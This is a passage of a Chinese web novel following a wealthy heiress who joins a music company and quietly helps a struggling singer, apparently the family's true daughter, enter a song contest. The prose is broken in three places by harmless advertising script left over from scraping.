《早死白月光又回来了》 7. 第 7 章 第7章 第7章 江望舒和高薇打了个电话。 两人之前一直断断续续都有联系,不过是高薇打过来的居多。 嘴上是想邀请江望舒这个专业人士来帮自己的忙,其实真实意图在谁身上,两个人都心知肚明。 这次也是,听说江望舒愿意过去,高薇高兴坏了,具体因为什么原因高兴,江望舒自然心里有数。 不过她也不在意。 江望舒其实还挺佩服高薇这种人的,有才华,有自信,目标坚定,并且会努力付诸实践,关键是情商还高。 要是有个这样的嫂子,也挺好的——所以江望舒一点都不介意帮高薇搭桥。 反正最后做决定的还是江屿,她本来也干涉不了什么。 挂了电话,江望舒摩挲着手机,本来想给江屿再去个电话,犹豫了一阵,还是放弃了。 反正他过几天回来,就能知道了。 听说女儿想去音乐公司上班,楚媛很高兴,不过依然要求她住在家里,每天司机接送。 “在家里有人照看着,省得吃不好又生病。”楚媛说。 江望舒点头答应了。 第二天上午,江望舒按时到了魅音的楼下。 高薇笑着走过来,挽住她的手,脸上全是亲切热情的笑。 “我盼你来好久了,”她说,“上次公司那个国风策划,我一直想请你来帮我参谋参谋。” 把江望舒引荐给公司同事的时候,她倒没说细说,只说自己从外面请了个很有才华的音乐家过来,帮活动把把关。 江望舒一直抿着嘴笑,跟新同事们打招呼,还带了小礼物,明明是艳丽明媚的长相,看起来又很乖。 而且出乎意料的年轻。 她的身份也不是秘密。 上一回,江屿来魅音的时候,不少人就注意到了他身后那个年轻女孩,知道这位来头很大,惹不起。 江望舒也终于有机会和她一直喜欢的音乐人共事了。 音乐人姓张,40来岁年纪,是个作曲家,气质很儒雅。 他和江望舒以前在其他场合碰见过,早就认识这位音乐圈的小公主,只是有点诧异,小公主这么早就出来接触商业上的事了。 不过这种大家族,自然有一套锻炼后代的法子,他也没多想,顺便还和江望舒聊起了他的母校——原本也是江望舒准备去读的那所学校。 江望舒就笑笑,附和了两句。 寒暄了一阵,就开始做正事。 就是那个国风音乐专题的新策划。 如今国潮风正盛,在音乐圈子里也不例外,魅音就想整合几个之前大火的国风ip,再加入一些创新的元素,整一把大活,赚一波流量。 尤其现在,又有江氏的资金支持,高薇底气就更足了。 所以,高薇想方设法把江望舒请来,不能说没有私心,但也不是完全和公事无关。 有这么一位小公主在,经费申请的时候,都好说话些。 高薇原本是想把江望舒当吉祥物摆的,但是不过半天,她就发现,自己好像小瞧了这位千金大小姐。 因为家境的关系,江望舒从小就浸润在大师的圈子里,耳朵犀利,品味也极好,不过她天性低调,又是刚来,一开始,她只是专心聆听,也不多嘴,顶多在纸上写写画画几笔。 几个人正在争活动宣传里的一段配乐问题,有人觉得大气磅礴那段更好,也有人觉得这段有些粗粝,不大迎合现在年轻人的审美,还是另一段偏柔和的改良版更好。 吵了半天,谁都说服不了谁,高薇都听得有点腻歪,一时也下不了决定,正晃着笔发呆,突然注意到江望舒纸上写的一段曲谱。 毕竟是做这个行当的,以前也学过几年琴,高薇对音乐虽远说不上精通,但还是能看出来,这段曲谱跟刚才那两段都有些像,又不太一样。 她只是本能想跟小公主拉近关系,随口问了句:“这是你刚才改的?看起来挺有意思。” 张制作闻言也伸过头,仔细看了一阵,嘴里念念有词,过了一会儿又点点头:“这段有点意思,我试着把它录出来,你们再听听。” 江望舒倒是无所谓,大大方方的笑一笑,表示随便用。 正在吵着的几个人都有点木,又觉得老板和张制作捧小公主,捧得都有点没边了。 不过这种场合,他们也不好说什么,具体选哪一段,总归要等上头拍板。 不愧是经验丰富的老音乐人,张制作带着助理,不一会儿就把这段小样做出来了,曲子不长,一共也就十几秒,但是刚一放出来,所有人的眼睛就亮了。 大气磅礴有,又不失精致和轻盈,仿佛正正好,踩在了绝大多数年轻人的审美点上。 和那段宣传视频搭配得恰如其分,天衣无缝。 谁都没想到,小公主还有这个本事。 “你小时候我就说你有灵气,”张制作忍不住对着江望舒大夸特夸,“等过几年你从国外回来,再学了一身本事,就更了不得了,我们这些老前辈,都要被你们这些年轻人拍在沙滩上喽。” 江望舒依然含蓄文静的笑,不多话。 她五官艳丽,张扬似火,刚开始还有不少人担心,这位千金大小姐脾气大,不好伺候。 但是只要接触久了,就会发现,她其实是很温婉随和的一个人,尤其在陌生人面前,不怎么爱说话,很内敛,但又极有教养,一言一行,都叫人如沐春风。 一看就是教养极好的大小姐。 这段曲子下来,高薇仿佛突然意识到自己不小心挖到了宝藏,然后,江望舒要干的活也更多了。 素来脾气耿直的张制作人也没觉得冒犯,反而笑眯眯的给江望舒铺路。 跟江家备受宠爱的小公主打好关系,对他又没坏处。 没多久,项目组的人都知道,那个看起来年纪不大,长相极漂亮的少女,在这次活动里,有相当大的话语权。 等到江望舒问起邀请嘉宾的事,给她提前看名单,也是顺理成章的事情。 这是魅音赞助的一个国风音乐比赛,预计邀请12位歌手参加,拟邀请名单列了三四十个人,不过其中一小半都已经被划掉了,还剩下不到20位,正在向对方确认档期,以及出场费之类的问题。 其中靠下的一排,有一个划掉的名字,写着:宋梨若。 对绝大多数人来说,18线歌手宋梨若,都是一个非常陌生的名字。 江望舒却一直盯着那个名字发呆,然后忍不住感叹:剧情果然已经进行到这一步了! 她只远远见过宋梨若一面,因为隔得远,五官看得不大真切,只觉得很漂亮,也很有气质。 跟自己不是一类长相,反而更肖似江屿。 她那时候就知道,没错,就是这个人了。 在她的梦里,她本来和宋梨若没有什么交集,她死的时候,宋梨若还是个在18线挣扎的小歌手,没有被认回来。 给她治病的时候,家里已经发现她其实不是江家的女儿,但是调查十几年前的旧事是一件很浩大的工程,她的病程发展得又快,两个人连见面的机会都没有,她就在国外过世了。 不过反过来想,虽然没了一个女儿,但是能认回亲生的女儿和妹妹,也是一件幸事。 至少家里人不会太伤心。 除了不想死在外头,江望舒原本并不准备改变故事的轨迹。 直到临死前,还能享受母亲和哥哥的关爱,做江家正经的大小姐,装作什么都不知道的样子离开,也确实是她的一点私心。 反正只是一个梦而已,她不说,别人什么都不知道。 她本来是想这么做的,结果发现做不到。 任性的霸占着偷来的东西,死死抓在手里,不肯还回去,这副模样,实在有点难看——就算别人不知道,她也过不了心里这一关。 更重要的是,江屿带她过来的时候,江望舒才知道,自家在魅音还有控股。 很多事情,好像就这么被推到了眼前,所以她决定,就按照自己的心意行事。 这次比赛,宋梨若本来没有机会,但是前面几个节目方看中的歌手,因为各种原因婉拒了邀请,最后被她补缺进来了。 可惜,这次比赛虽然火了,宋梨若却并没有趁机 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一炮而红。 正相反,她因为卷入一起抄袭纠纷,被网暴了好久,差点退圈,后来还是被江家认回去以后,才查清真相,帮她洗清冤屈。 这都是好几个月以后了。 同样是音乐人,江望舒最讨厌的,就是这种事了。 听说江家小公主正在研究那张名单,高薇笑盈盈的走过来问:“这上面有你喜欢的歌手没?或者你也可以推荐几个,反正现在名单还没有正式定下来。” 这大概就是资本方的特权。 江望舒也不客气,轻轻指了指那个原本已经被划掉的名字:“这个人,我在毕业典礼的时候见过,唱得挺好的。” 高薇看着那个陌生的名字,愣了愣,有点不确定小公主是随口一说,还是真的看重这个人。 宋梨若,名字还挺好听的,就是确实太陌生了,她这个在圈子里混的人,对这人都没什么印象。 这个名单其实隐隐分成了两拨,上面那一些,要么是成名已久的老歌手,要么是备受瞩目的新人,又或者背后有人捧,总之,都是镜头的关注焦点,天然自带流量。 至于下面那一堆,这种节目,总也要一些凑数的配角,要不然前期胡乱淘汰,容易得罪人。 这个宋梨若,不但名字在最后,还被划掉了,说明竞争力真的很弱,没什么存在感。 不过这点小事,也无所谓。 高薇大手一挥,就把那个名字重新拉进了备选名单里。 看到小公主明艳的笑容,甜甜的道谢,她都忍不住稍微晃了晃神。 难怪被江屿这么宠着,这么漂亮又乖巧的小姑娘,她也很想抱回去藏起来。 高薇摸了摸江望舒的脸蛋,才踩着高跟鞋,忙自己的事情去了。 江望舒偷偷松了口气。 刚才指人的时候,她心里其实特别慌,还有点虚。 还好高薇也不在意这点事。 她又抬眼,看了一眼时间。 今天正好也是江屿出差回来的日子。 她一早上就跟妈妈说了,今天要跟着司机,一起去接哥哥。 楚媛对着女儿笑:“你们兄妹俩向来感情好,他看到你去接他,肯定高兴。” 江屿小时候其实更多住在他祖父那边,但两个孩子但凡见面,总要挨在一起,十分亲密。 长大以后,关系也依然如初,不过过几年,等各自婚嫁,总免不了慢慢疏远。 儿女在长大,她也在变老。 楚媛莫名有点伤感。 江望舒却还是大大咧咧的,小姑娘一样,只惦记着哥哥带回来的礼物。 楚媛无奈的摇摇头,还是个不懂事的孩子呢。 江屿的飞机下午6点到,江望舒在接机口等了一会儿,就在人群中,一眼看见了那个熟悉的身影。 个子很高,穿着西服,但是领口松散,带着点旅途的疲惫和随意,尤其那张脸极出彩,一路走过来,好几个年轻女孩都忍不住回头看他,看着看着,还有不小心撞到别人行李箱的。 江望舒忍不住笑出来,捂着嘴,偷偷看江屿。 江屿略显倦怠的眉眼往这边一扫,原本冷沉的神色微微柔和下来,对着江望舒打了个招呼,顺手把行李交给旁边的助理,就直接走了过来。 江望舒一把挽住江屿的胳膊:“直接回家吗?妈今天给你接风洗尘,特地准备了大餐。” “先回去吧,”江屿垂着眼睛,仔细打量江望舒的面容,“你恢复得怎么样了?” “我现在壮得像一头牛!”江望舒夸张的说。 少女双眼晶莹,气色润泽,确实不像生病的样子。 江屿的眉目也舒展开来:“下次不要再这样了,叫家里人担心。” 江望舒用力点头,一副深刻反省,保证改正的样子,装乖卖萌的模样,和小时候一模一样。 每次犯了错,只要摆出这副嘴脸,江屿就拿她一点办法没有,甚至长辈教训的时候,还会站在前面护着。 要不然,自己怎么会越来越娇气呢?江望舒毫不犹豫,就把这个锅扣在了江屿头上。 谁叫他这么宠自己! 8. 第 8 章 第8章 第8章 自从开始接手集团的事务,江屿就变得很忙。 他到底年轻,就算能力才干都不缺,面对那些资历更深的老油条们,总还有个适应过程。 在外头的时候,江屿还能时刻保持着沉稳自持的模样,等到了车里,才彻底放松下来,他松开了脖子上的领带,丢到一边,眉宇间压抑的疲倦完全流泻出来,他微微闭目养神了一会儿,头习惯性的偏侧了一点,忽然又睁开眼,重新端正了身体。 江望舒却挨过去,理所当然的把江屿的脑袋一掰,落在了自己的肩膀上:“说好了的,你要累了,我就给你靠。” 少女的声音清润,在昏暗的车厢里,仿佛还带着余音回绕。 他们从小就是这样,绝大多数时候,江屿都是那个保护者,会挡在她身前,但偶尔的,他要是觉得累了,难受了,会趴在江望舒的肩膀上,靠一会儿。 小时候,这么靠着的次数还多一点,渐渐大了,江屿越来越厉害,这种时候就很少了。 难得有这么一次机会,江望舒自然忙不迭地贡献出肩膀,给自己找点存在感。 头落在少女单薄肩头的时候,江屿的第一反应是想移开。 然而,微凉的指尖,只轻轻按着他的发顶,就叫人不想动了。 一两秒以后,江屿重新放松下来,闭了眼睛,什么都不想。 疲倦很容易让人意志松懈,他也不例外。 江屿就这么休息了几分钟,睁开眼睛,又变回了原来那个冷静自持的继承人。 他坐正回去,眼睛定在不知名的某处,愣了一下神,才回望江望舒,目光如水:“谢谢,我觉得好多了。” 江望舒笑:“哥你太厉害,我也就这时候能帮点忙,可巴不得呢。” 没办法,有这么一个优秀的哥哥,时时衬托得她跟个小废物似的——不过,江望舒还是挺乐意做这种废物的。 江屿在少女明媚的笑靥里定了一会,又移开眼睛:“当然不会,你帮了我很多。” 要不怎么说江屿是个好哥哥呢,这情绪价值,给得简直满满的。 车又行了一个多钟头,终于回了老宅。 江志儒依然不在,楚媛也是刚刚才忙回来,又和儿子聊了一阵工作上的事,说着说着,母子俩不觉得累,江望舒反而忍不住在一旁打哈欠,又喊自己肚子饿了,怎么还不开饭。 楚媛瞪了小女儿一眼,无奈:“就你是个小吃货,行了行了,先开饭,吃完再说。” “那不行,吃完饭,我还要看哥带给我的礼物。”她对着楚媛吐了吐舌头。 原本冷肃的客厅,因为江望舒的插科打诨,终于显出几分活泼的气息。 王妈端着菜送过来的时候,看着这一家子也忍不住笑。 江望舒一眼看见王妈手上端的是自己最喜欢的菜,马上蹭过来,小狗一样抽着鼻子:“哇糖醋小排!王妈我最爱你了!这道菜,我觉得五星级大厨做的都没你好!” “你要喜欢,就多在家里住一会儿,”楚媛瞪了一眼跳脱的女儿,“看你瘦了一圈的样子,你王妈也心疼。” 至于江望舒一下最爱这个,一下最爱那个,见风使舵毫无原则的德性,她早习惯了,都懒得多说。 江望舒惫懒的嘿嘿直笑,顺便偷吃了一块刚出炉的糖醋排骨,一边烫得哇哇直叫,一边继续快速的往嘴里塞。 然后又被楚媛训了几句,可惜江望舒早就皮了:“妈,我在外头仪态保持得可好了,绝对不会丢江家的脸,真的,公司里好多人都夸我特别有千金大小姐的气质呢!” 气质仪态这种东西,在外人面前装装就好,在自家人跟前还要端着姿态,多累呀! “其实就是只野猴子!”楚媛笑骂。 上蹿下跳,一刻不得安生,不过至少,精神比前几天好多了。 菜都上桌,江志儒正好也从外面回来了。 江望舒挥着手,兴高采烈的说:“爸也回来了,咱们一家好久都没聚在一起吃饭了!” 江志儒看了一眼猴子一样的女儿,又对刚回来的儿子点点头,才脱掉西装,解开衬衫纽扣,坐到妻子身边。 江屿长得很像江志儒,只不过,父子两个坐在一起,原本气质有些清冷的江屿,都被他父亲衬得亲切温和起来。 江志儒是一个很严肃的人,不喜欢笑,也不多话,一眼扫过去,据说还直接把一个实习生给吓哭过。 在家里,他也没变得多和蔼可亲,和妻子儿女说话的时候,都透着一股公事公办。 简而言之,是个标准的工作狂。 还好,年轻时候的楚媛也是个工作狂,两个人谁也别嫌弃谁,就这么磕磕绊绊,凑合到了现在。 不过跟江志儒比起来,楚媛还算是个负责任的母亲,江志儒对孩子的态度,那才是真正的两手一摊,只管给钱。 面对好久不见的儿子,他张嘴聊的同样也还是公事,父子两个严肃讨论了一阵这次签的合同,那气氛,真的跟在公司开会没什么区别。 江望舒表示,心真的很累。 她深深的叹了口气,趁着话题暂时停下的空档,可怜兮兮的看着江志儒:“爸,我真的很饿很饿,能不能开饭了?” 江家的规矩是食不言寝不语,平时,她会觉得饭桌上的气氛太沉闷——但是她爸回来的时候除外。 制定这条规矩的老祖宗,肯定也是个工作狂! 江志儒顿了顿,又看了一眼女儿,最后难得的对儿子最近的表现做了个总结,表示认可,然后话题结束,终于开饭。 江望舒是真的馋疯了,一筷子又戳了两块糖醋排骨,埋头啃了起来。 江志儒对女儿的用餐仪态似乎有点不满,他微微皱了皱眉头,又看了一眼妻子,结果被楚媛给瞪了回去。 最后也只能无奈的抿了一下唇,低下头,吃饭。 江望舒才不在乎她爸挑剔的目光呢。 对于能叫实习生夜哭的江志儒,江望舒一点也不害怕,甚至觉得,这人还不如楚媛更有威严。 毕竟在家里,他真的就是个摊手掌柜,不管事,但也不多嘴。 尤其,这个爸真还挺大方的,江望舒攒的零花钱,绝大部分都是江志儒给的。 在这一方面,他比楚媛可慷慨多了。 比如今天,听说江望舒也进了一家公司做事,他点点头,顺手给女儿又转了一百万,说是该吃吃该喝喝,在外面不要委屈了自己。 哪个好人,吃吃喝喝就能花100万的?反正江望舒做不到。 更何况,她现在还住在家里,每天蹭吃蹭喝呢。 所以,哪怕江志儒连女儿究竟是高中还是大学毕业都没搞清楚,但是管他的,这一笔笔的转账,也同样是妥妥的父爱表现啊! 江望舒从来不会纠结那些细节! 她甜甜的笑,又一次把最爱的名头,安在了她爸头上。 江志儒咳嗽一声,板着脸,让江望舒努力工作,不要给家里丢脸,就又上楼,忙公事去了。 楚媛等丈夫走了,才憋着笑,狠狠的点了点女儿的额头:“你这个小混蛋,看到谁都要捧一把,嘴抹了蜜一样,以后碰到不吃你这一套的,看你怎么办。” 江望舒嘿嘿傻笑,又在妈妈怀里乱蹭:“无所谓,你们吃我这一套就行。” 她在外头,好歹也是个端庄稳重的千金大小姐,哪会这么撒娇打滚的,多丢脸啊。 江望舒捧着又充盈起来的小金库,笑得特别甜。 吃完饭,楚媛差点又把话题绕回工作上,江望舒连忙扯着妈妈,说要去看礼物。 这次江屿出差回来,买的东西都装在一个大行李箱里,刚刚才被助理送过来。 多半都是当地的特产,比较名贵稀有那种,每次刚到一个新地方,助理就会帮着挑选购买,因为渠道比较特殊,也确实能经常买到一些品质很不错的礼物。 楚媛就经常借着儿子的光,拿这些东西当做日常社交的节礼,省了不少功夫。 她见多识广,只把这些当做儿子的心意笑纳,也就是那个跳脱的丫头,总喜欢翻宝藏一样,在礼物堆里扒来扒去,看到个以前没见过的,就一脸好奇的翻来倒去,稀奇得很。 楚媛摇摇头,觉得这孩子实在叫人头疼。 她又看了一眼江屿。 昔日稚嫩的少年已经长成越来越成熟的青年,气质清俊挺拔,坐在那里看着妹妹胡闹,一脸的纵容。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 跟放在身边宠的女儿不一样,儿子这些年其实过得很辛苦,她原本还担心孩子心里会有怨怼,不过现在看起来,他已经成长为很优秀的继承人,也是个好哥哥。 再看看盘腿坐在礼物堆里到处翻的江望舒,楚媛又忍不住摇头叹气。 这孩子,也不知道什么时候才能长大。 晚上,江望舒洗了澡,擦干头发,又把江屿带回来的那个金累丝嵌宝手镯戴在手上把玩。 这个镯子虽然不是古董,但是是某个国家工艺大师的杰作,还镶嵌了一排成色很不错的红蓝宝和祖母绿,价格自然不会太低。 金灿灿的镯子色泽明艳,衬得她肌肤如雪,白得耀眼。 满满都是富贵气。 江望舒正准备把镯子收起来,房门又被敲响,开门一看,江屿站在门边,手里还提着一袋乱七八糟的小零嘴。 江望舒眼睛一下子亮了:“哥,我还以为你忘了呢!” 记不得从哪年开始,江屿每回出远门,都要给江望舒带点小零食。 小时候,楚媛不太喜欢江望舒吃零食,也就逢年过节,去别人家里做客的时候,能稍微吃那么一点。 但是江望舒馋啊!每次盯着商店橱窗里那些零食,眼巴巴的望,要多可怜有多可怜。 后来,江屿就开始给她偷渡一点小零嘴,次数不频繁,分量也不多,说不清楚媛知不知道,反正这习惯,就这么一直持续了下来。 等年纪再大点,他做事更周全,也会给其他人买伴手礼,有些还很贵重,但只有送江望舒这个,会私下里给她,就仿佛两个人偷偷藏起来的小秘密。 哪怕这几年,零食管控终于解禁,江望舒还是觉得,偷吃的更香。 这次江屿带回来的是当地的传统糕点,还有一袋网红的牛轧糖,口味稀奇古怪,但是看着就很有意思。 她随手摸出两颗糖,一颗是抹茶无花果味,还有一颗是咸蛋黄辣条味,江望舒的良心只让她挣扎了半秒钟,就毫不犹豫的把那颗奇葩口味塞给了江屿,还不给他看包装,让他猜是什么味道。 然后自己才慢条斯理的把另一颗塞进嘴里,微苦的抹茶香混着酸甜的果香,再配上牛乳浓郁的香气,是很不错的搭配。 江屿很平静的把糖咽下去,只微微拧了一下眉头:“吃不出来,但不好吃。” 江望舒就忍不住笑得前仰后合,跟个恶作剧得逞的孩子一样。 看着她彻底展开的笑容,江屿的神情温和:“你在魅音感觉如何?工作顺不顺利?” 江望舒用力点头,得意洋洋的描绘自己在公司里大展身手的威武场面。 当时她表现得很淡然,大小姐范十足,但是,心里其实早就爽飞了。 也只有在家人面前,她才会把自己不那么光伟正的一面表现出来。 江屿笑,夸她厉害。 “对了哥,我有个挺喜欢的歌手,也准备参加魅音的比赛,我可不可以帮她一把?”江望舒小心翼翼的看了一眼江屿。 江屿大约不会喜欢这种靠着资本插手的做法,但是,毕竟对方身份特殊,她都已经打好腹稿,要怎么说服江屿同意了。 江屿的眉果然压了下来,看着江望舒,重点却不是什么资不资本:“你就学着别人捧小明星了?是他故意接近你的?” 江望舒有点委屈,连连摇头:“不是不是,我们连面都没见过,也不对,上回毕业典礼,她来唱过一首歌,我觉得挺好听,就记下了。” 江屿的神情依旧很严肃:“望舒,娱乐圈很乱,你太单纯,不适合交这种圈子的男朋友。” 江望舒噗嗤笑起来:“哥,你在说什么呀,那个歌手是女的!” 江屿一愣,神情和缓下来,微微带点自嘲,又揉了揉江望舒的头发:“是我多想了,既然喜欢就帮一把,照你的心意来。” 江望舒又状似漫不经心的说:“那个女歌手叫宋梨若,年纪跟我一般大,我觉得……她的五官和气质跟哥哥有点像,一看就很亲切。” 不知道为什么,听到这句话,江屿看起来有点高兴,神情越发柔和,说江望舒想做什么就做什么,都有他给撑腰。 江望舒真心觉得,自己活脱脱要被宠成个二世祖了。 9. 第 9 章 第9章 第9章 魅音那边,策划继续顺利推进,江望舒时不时去盯一盯,时间上还算自由。 邀请歌手那一块的工作她不负责,但大体上,也能知道目前的进度。 她甚至还加上了宋梨若的联系方式。 宋梨若的头像是一朵很淡的白梨花,应该是水彩画,画工带点稚气,但是配色很漂亮。 她的朋友圈也很干净,除了几条出席活动的相关宣传,一点生活上的内容都没发。 那边应该也知道江望舒是魅音的工作人员,很礼貌的在软件里打了个招呼,就没有再聊什么了。 江望舒一时也不知道应该怎么开口。 魅音这两年崛起势头虽然快,但跟其他几个软件巨头比起来,依然属于小公司,又是第一年办音乐大赛,所以好几个有名气的歌手,都婉拒了这边的邀约。 江梨若的经纪人对这个机会倒是十分重视,合作进度推得很快,所以她反而成了第一个和节目签约的艺人。 今天就是她来公司签约的日子。 江望舒几天前就听说了这件事,这天特地起了个大早,在衣帽间转了半天,最后选了一条很朴素的浅色长裙,去了公司。 去公司的路上,她还有点紧张。 哪怕在梦里,她也没正式见过这个人,只是依稀听说过一点关于她的事情。 不知道,会是一个怎么样的人。 坐在电梯里,看着一直往上的楼层数字,她下意识的深吸了一口气。 电梯门开,正好碰见高薇。 她一看见江望舒就笑,拉着江望舒的胳膊,又直接按了另一个楼层。 “那个宋梨若正在签约,我带你见见她去。”她说。 江望舒点点头。 “确实是个有灵性的姑娘,实力不错,你眼光挺好的,我也觉得她能火。”她继续夸。 江望舒笑:“她的歌声很好听。” 那天在毕业典礼上,她一下就记住宋梨若的声音了。 高薇又大声笑起来,不停说着话,很高兴的样子,看得出来,她真的对这个年轻歌手很欣赏。 走进一间会议室,她一眼就认出了宋梨若。 细长眉,丹凤眼,很干净的长相,气质也很清透。 仔细看过去,她和江屿的五官不能说特别肖似,可气质却是一类,疏疏淡淡的,带点清冷。 莫名叫人觉得亲切。 宋梨若也看见了两个陌生人,微微笑了一下,当作打招呼。 她的笑很温和,也很内敛,看得出来不是那种活泼的性格,在这种场合下,还有点拘谨。 江望舒也对着她笑。 宋梨若不认识江望舒,可总觉得这个女孩子好像有点眼熟,比其他人也更好亲近。 两个女生对彼此的第一印象,显然都不坏。 高薇还是那副亲切热情的模样,主动和宋梨若还有经纪人打了一圈招呼,问了合同进程,知道都差不多签完了,又指了指旁边的江望舒:“这可是我们公司的大才女,就是因为她的强烈推荐,才让我们发现,还有一位这么优秀的歌手。” 经纪人连忙对着江望舒躬身说感谢,宋梨若也跟着低声说了一句谢谢,表示自己会继续努力。 江望舒弯着眼笑:“上次你来我们学校的毕业典礼表演节目,我就记住你了。” 宋梨若还没想起来,经纪人就恍然大悟的说:“是东双吧?鼎鼎有名的好学校!那说起来,你和我们家宋梨若还是同一届的。” 东双有名的不是成绩,而是学生的家庭背景。 仔细一问,不但同年,连生日都是同一天,看起来就更巧了。 宋梨若也终于想起来了:“我记得你那次也上台表演了,你的钢琴弹得很好。” 那次东双的毕业典礼,邀请了公司里几个知名的小生小花过去,她就是凑数,跟公司的前辈合唱了一首就下台了,没想到,竟然也能被记住。 相比之下,她倒是觉得,江望舒上场的那个节目,比她耀眼得多。 江望舒不好意思的抿嘴笑:“我对作曲也有点兴趣,等有机会,咱们可以一起合作。” 宋梨若还没来得及说话,经纪人就急忙应承下来,甚至恨不得能直接定下时间就好。 虽然不知道这个年轻女孩的具体身份,但是光看高薇的态度,就知道背景不简单。 这种主动递过来的橄榄枝,要是抓住了,简直就跟中了大奖一样。 签好合同,又寒暄了一会儿,宋梨若和经纪人就告辞离开。 等人走了,一个和宋梨若经纪人之前就认识的同事突然说:“说起来你们肯定想不到,这个宋梨若其实还是个星二代,你们猜猜她妈是谁?” 所有人都摇头,表示不知道。 “她妈是宋岚!” 年轻一辈对这个名字不太熟悉,年纪大点的,也是反应了一会儿才想起来,这位是二十年前的影后,后来结婚息影,嫁给了一个知名导演,再后来爆出新闻却是离婚官司,听说当时闹得很大,两边也彻底撕破了脸。 再之后,宋岚的名字就彻底在大众面前消失,只有几个经典的电影角色,偶尔被人想起。 “真是可惜了,我小时候还挺喜欢她的,不知道怎么后面就不出来了。” “就算她妈这边没什么资源,但她爸那么大一个导演,就没给女儿漏一点?”有人不可置信的问。 明明也是个星二代,宋梨若看起来没有一点人脉,妥妥就是个小透明。 “她爸压根当这对母女不存在,”同事摇头叹气,“后来宋岚嫁给了个普通人,又生了个女儿,本来日子还不错,可惜小女儿生了重病,宋梨若也是想给妹妹治病,才进的娱乐圈——听说本来还是个高材生呢,考的学校也好,可惜现在只能暂时休学了。” 她说了个学校的名字,又引起一阵叹息。 一群人说着说着,话题又转到批判那个导演前夫有多渣,行为有多卑劣上去了。 江望舒在旁边安静的听着。 她其实也是个卑劣的小偷,霸占着别人舒适安逸的日子,还舍不得还。 江望舒已经想好了,该还的,还是应该提前还给人家。 要不然,像梦里那样,等她生病了,才爆发出一个又一个真相,光是想一想,她都忍不住替江家人伤心。 还不如早点知道,她其实是个假货。 江望舒又盯着手机上那朵白梨花,戳戳点点了好久,才发了条消息过去:“你好呀 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,我是江望舒,我们上午才见过,你的参赛新歌准备好了吗?如果不介意的话,有没有兴趣看看我写的新歌?我真的很喜欢你的嗓音条件~” 宋梨若看到这条消息的时候,已经过了午夜12点。 她刚从驻唱的酒吧回来,脑子被酒气和烟味熏得晕晕乎乎的,反应还有点迟钝。 呆了几秒,她才想起来江望舒是谁:长相精致漂亮,很贵气,还莫名有种熟悉感,一看就是那种天真柔软的大小姐。 她只是没想到,大小姐真的对自己一见如故,还主动想要合作。 照经纪人的说法,这真的是天上掉的大饼,她突然时来运转,开始走狗屎运了。 宋梨若又揉了揉额头,看了眼时间,还是给经纪人去了个电话。 睡梦中被吵醒的经纪人明显有点狂躁,可是等宋梨若说明打电话的缘由,她瞬间又兴奋起来。 “合作,当然合作!傻子才会放弃这么好的机会!” “我下午已经跟人打听过了,那可是江氏的大小姐,众星捧月一样的人物,能跟她合作,等于妥妥拿到了进决赛的入场券!” “哪怕只进决赛,奖金连带各种广告费至少也有几十万,到时候,你妹妹的医药费就不用愁了,你要是想继续学业,也不缺钱了。” 最后一句话,终于让宋梨若彻底下定了决心。 经纪人也如释重负的说:“这下好了,我本来最头疼选歌的事,还想着实在没办法,只能花钱买了,这一进一出,能省多少钱!” 挂了电话,宋梨若也觉得有点像做梦。 她盯着对话界面看了一会儿,很郑重的回复:“我很乐意,能和您合作,是我的荣幸。” 江望舒是早上起来的时候,才看到的回复。 她盯着回复时间看了一会,才回:“那太好了!我们约个时间见一面,当面聊~你也可以看看我写的歌喜不喜欢。” 那边仿佛一直在等着,很快回了消息过来,约的上午11点。 江望舒如释重负的吐了一口气,起床洗漱换衣服,准备等下出门。 下楼吃早餐的时候,江屿也在,他今天穿着一件宽松的休闲款黑衬衫,领口解开两颗扣子,很闲适的样子。 江望舒意外:“哥,你今天休息?” 还挺难看见这个工作狂休息的。 江屿点头,简单用鸡蛋火腿和生菜夹了一个三明治,抹上加厚的芝士酱,切成两半,递给江望舒:“有个国外的同学来京市,约好一起聚聚。” 江望舒大口咬着三明治,微焦的表皮和浓郁的芝士香,正正是她的口味。 她分心看了一眼外面的天气,天阴沉沉的,感觉要下雨。 看一眼时间不算早了,她等下还要回公寓,拿以前写的曲稿,江望舒几口吃完了半个三明治,小小打了个嗝:“那我先出门了,今天也约了人。” 江屿也注意到了外面的天气:“我和朋友约的下午,现在时间还早,我先送你一趟。” 然后就起身去拿车钥匙。 江望舒本来想说不用麻烦了,突然想起什么:“哥,我等一下去见那个我很喜欢的歌手,你要不要跟我一起?” 江屿看她一眼,觉得奇怪,还是点头答应了。 11. 第 11 章 第12章 第12章 明明才刚认识,宋梨若莫名觉得,这位千金大小姐对自己格外亲善。 不但主动递出橄榄枝寻求合作,给的条件也好到令她意外。 虽然早知道,江望舒既然敢找自己,拿出的歌质量总归不会太差,但是看到词作者的署名,她还是忍不住倒抽了一口冷气。 这位大佬的词在业界向来供不应求,想跟他求一首词作,不仅昂贵,还要挑买家。 普通小歌手,边都挨不上。 江望舒却一口气拿出了整整三首,市场估价,保守也要过百万。 “这些歌的版权都在我手上,”江望舒解释道,“而且我觉得,你肯定能在比赛里把这些歌演绎好,这对我来说也是双赢。” 财大气粗的大小姐,却没有一点盛气凌人的味道,非但不要宋梨若一分钱版权费,听她话里的意思,仿佛宋梨若点头,才是她莫大的荣幸。 宋梨若都忍不住怀疑,自己是不是前世救过她的命。 她诧异的看了一阵江望舒,一边听着对方以前给自己歌录的demo。 少女的声音轻柔,从耳机里飘出来,缠绵飘忽,很美。 “这歌很好,你完全可以留着自己唱。”宋梨若说。 江望舒笑:“我唱歌属于业余级别,这么好的歌,还是应该给水平更好的人用,要不然就纯粹是糟蹋了。” “作为一个曲作者,肯定还是希望自己的歌,被最适合的人唱。” 她这话也不算谦虚,跟器乐演奏比起来,她的声乐水平确实不大拿得出手,尤其天生的嗓音条件,气息弱,中气不足,在录音棚里还行,站到舞台上,还没唱就要先露怯了。 江望舒原本还想着,等出国以后再选修一门声乐,弥补一下不足,但是现在,时间已经来不及了。 与其把歌谱尘封,倒不如交给更适合的人用。 “给我唱,也可惜了。”宋梨若实话实说。 